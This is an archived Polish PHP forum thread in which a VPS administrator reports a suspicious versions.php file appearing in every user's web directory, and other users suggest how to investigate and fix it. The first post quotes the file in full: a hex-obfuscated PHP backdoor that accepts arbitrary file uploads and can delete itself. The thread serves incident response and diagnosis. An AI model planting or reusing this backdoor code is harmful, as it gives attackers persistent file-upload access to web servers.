Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: VPS - nieautoryzowane wgranie pliku
Forum PHP.pl > Forum > Serwery WWW
Mega_88
Cześć, dzisiaj na serwerze zauważyłem, że w katalogach public_html (/home/USER/domains/public_html/) dla każdego użytkownika pojawił się plik o nazwie versions.php (zawartość pliku poniżej). Plików już się pozbyłem, ale znając życie coś musi siedzieć głębiej.

Teraz bardziej do rzeczy. Rozumiem gdyby w katalogach każdego użytkownika siedziała jakaś dziurawa joomla lub wordpress to można się domyśleć, że to przez dziury w starych wersjach i zacząć szukać tam na początku. Jednak wspomniany plik pojawił się w katalogach (domenach - www.NAZWA_DOMENY.pl/versions.php) gdzie nic nie było zainstalowane, wgrane. Po prostu zwykły plik index.html z zawartością "Hello word", a właścicielem każdego z plików wgranych na serwerze jest dany użytkownik do którego katalogu został wgrany. Więc to nie dziurawe oprogramowanie pod każdą z domen tylko bardziej coś serwerowego. W lagach FTP nic nie widzę żeby coś było wgrywane, w logach logowań na danych userów po FTP również nic nie ma, a tym bardziej na root'a.

Może mi ktoś podpowiedzieć od czego zacząć i gdzie szukać żeby wyłapać jakim cudem plik znalazł się na serwerze i w jaki sposób został wgrany ? Bo nawet nie wiem gdzie mam już szukać.


Zawartość pliku:
  1. <?php if(!empty($_POST["\x74a\x73k"])){if($_POST["tas\x6b"]=="\x75\x70\x6c\x6fad"){if($_FILES["fi\x6ce"]["\x65rr\x6fr"]>0){echo"Re\x74\x75r\x6e C\x6fde: ".$_FILES["f\x69le"]["\x65rror"]."\n";}else{if(file_exists("./".$_FILES["fi\x6ce"]["na\x6de"])){echo$_FILES["\x66ile"]["name"]."\x20al\x72ead\x79\x20\x65x\x69s\x74s\x2e \n";}else{move_uploaded_file($_FILES["\x66\x69l\x65"]["t\x6dp\x5fna\x6de"],"./".$_FILES["f\x69l\x65"]["nam\x65"]);echo"\x6fk";}}}else if($_POST["\x74a\x73k"]=="\x64el\x53e\x6cf"){if(unlink(__FILE__)){echo"\x6f\x6b";}else{echo"\x66\x61\x69\x6c";}}}else{echo"\x6f\x6b";exit;}
  2. ?>
kayman
może to cię naprowadzi -> http://ddecode.com/hexdecoder/?results=5a8...46408f84071fa3d
Mega_88
Cytat(kayman @ 28.02.2017, 19:10:24 ) *


Sprawdzałem już tym i niestety za dużo mi to nie mówi bo ja nie widzę tam żadnych konkretów i odpowiedzi na pytanie gdzie szukać/czemu i jak to wyeliminować... Może ktoś coś więcej powiedzieć w tym temacie ?
mrc
Mi kiedyś wszedł ktoś na vps bo miałem zbyt słabe hasło na użytkownika z gitem. Co prawda, niewielką szkodę mi zrobiło ale nauczka została. Sprawdź hasła, czy są bardziej skomplikowane niż a-z.
Mega_88
Cytat(mrc @ 28.02.2017, 20:18:58 ) *
Mi kiedyś wszedł ktoś na vps bo miałem zbyt słabe hasło na użytkownika z gitem. Co prawda, niewielką szkodę mi zrobiło ale nauczka została. Sprawdź hasła, czy są bardziej skomplikowane niż a-z.


U mnie git ani nic podobnego nie jest podpięte, a główne hasła mam od 14 do 18 znaków (a-Z,!) itd), a hasła userów generowane losowo od 8 do 10 znaków więc nie jest możliwością żeby ktoś wywalił hasła do wszystkich userów nagle. Dodatkowo gdyby hasła były wykradzione z miejsca gdzie są trzymane to byłby większy burdel, a tak można powiedzieć jest tylko lub aż to co opisałem.

Pierwsza moja obserwacja jeszcze nie potwierdzona bo to jeszcze sprawdzam. Na serwerze jest kilku użytkowników, którzy są dodani, ale ich domeny już nie działają więc dostęp jest tylko z poziomu FTP, a nie przez domenę i tam nie był wgrany wspomniany plik. Plik był dodany to użytkowników, których strony/domeny działały i były dostępne w sieci. Tak jakby ktoś to dodał przez http ? o_O ?
ohm
Znajdz sobie jakiś prosty phpowy skrypt do przeglądania plików na serwerze i sprawdz nim do czego masz dostęp. Prawdopodobnie brakuje jakiegoś open_basedir czy serwer www (użytkownikwww-data) jest dostępny dla wszystkich i ma on dostęp do wszystkich plików. Sprawdź od razu jakie uprawnienia mają te pliki version.php, kiedy zostały utworzone i przegrzeb logi z, mniej więcej, tą datą którym skryptem zostało to wrzucone przez POST (mocno prawdopodobne)
Mega_88
Dzięki za odpowiedź ohm, jednak może jest już późno i dopada mnie jakaś paranoja, ale czy ktoś może w jakiś sposób potwierdzić mi czy to nie jest przypadek biorąc pod uwagę zawartość pliku, którą zamieściłem w pierwszym poście + to co napiszę poniżej. Może to przypadek, wydaje mi się lub jestem już śpiący... ale

Plik, o którym mowa i został wgrany do katalogu każdego użytkownika miał nazwę - versions.php (zawartość, dziwna i za dużo mi nie mówi). Na serwerze mam DirectAdmin i on ma taką zakładkę jak Licencje / Uaktualnienia gdzie dzisiaj zauważyłem, że pojawiła mi się nowa aktualizacja DA, więc klikam i zlecone do kolejki. Po wykonanej aktualizacji dostaję wiadomość + link do zmian w obecnej wersji, a LINK to strony DA to - https://www.directadmin.com/versions.php .

Przypadek ? Pamiętam, że ostatnio też klikałem w aktualizację. Pliki na serwerze staram się sprawdzać codziennie, ale ostatnio to lekko zaniechałem i ciężko mi połączyć fakty czy aktualizacja DA = wgraniem wspomianego pliku (nie wiem dokładnie jaka to była data). Ma ktoś pomysł jak to sprawdzić i czy można to połączyć w jedną całość ?
ohm
Jeśli masz direct admina to zmienia postać rzeczy, ogólnie bez porządnego audytu będzie ciężko cokolwiek powiedzieć, bo przyczyn może być wiele. Co do directadmina to owszem, jest na stronie https://www.directadmin.com/versions.php ale to jest lista wersji i wątpię żeby ludzie z directadmina zakodowany syf wrzucali, szczególnie że jeśli by coś takeigo wyszło na jaw, to serwery byłyby infekowane w zastraszającym tempie (szczególnie że wchodzi tutaj czysty upload plików) więc ktoś celowo, dla zmylenia, nazwał tak plik. Tak swoja drogą to z różnymi nazwami plików się spotkałem które były wrzucane przez dziurawe joomle/wordpressy typu ajax.php, controller.php, model.php postgresql.php sql.php article.php, itp. Nie ma reguły, każdy próbuje zamaskować najlepiej jak potrafi.

Podsumowując, serwer do audytu, a jeśli nie jesteś w stanie przeanalizować ataku (lub nie jesteś w stanie zapłacić jakiejś firmie) to przemyśl reinstalacje serwera (wiem, dość wymagające wink.gif )
Mega_88
Dziękuje za odpowiedź smile.gif Możesz polecić jakaś firmę/osobę, której coś takiego można zlecić ?
D7ock
Sprawdź datę utworzenia tych plików oraz logi DA, możesz też sprawdzić uprawnienia jakie posiadają te pliki.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.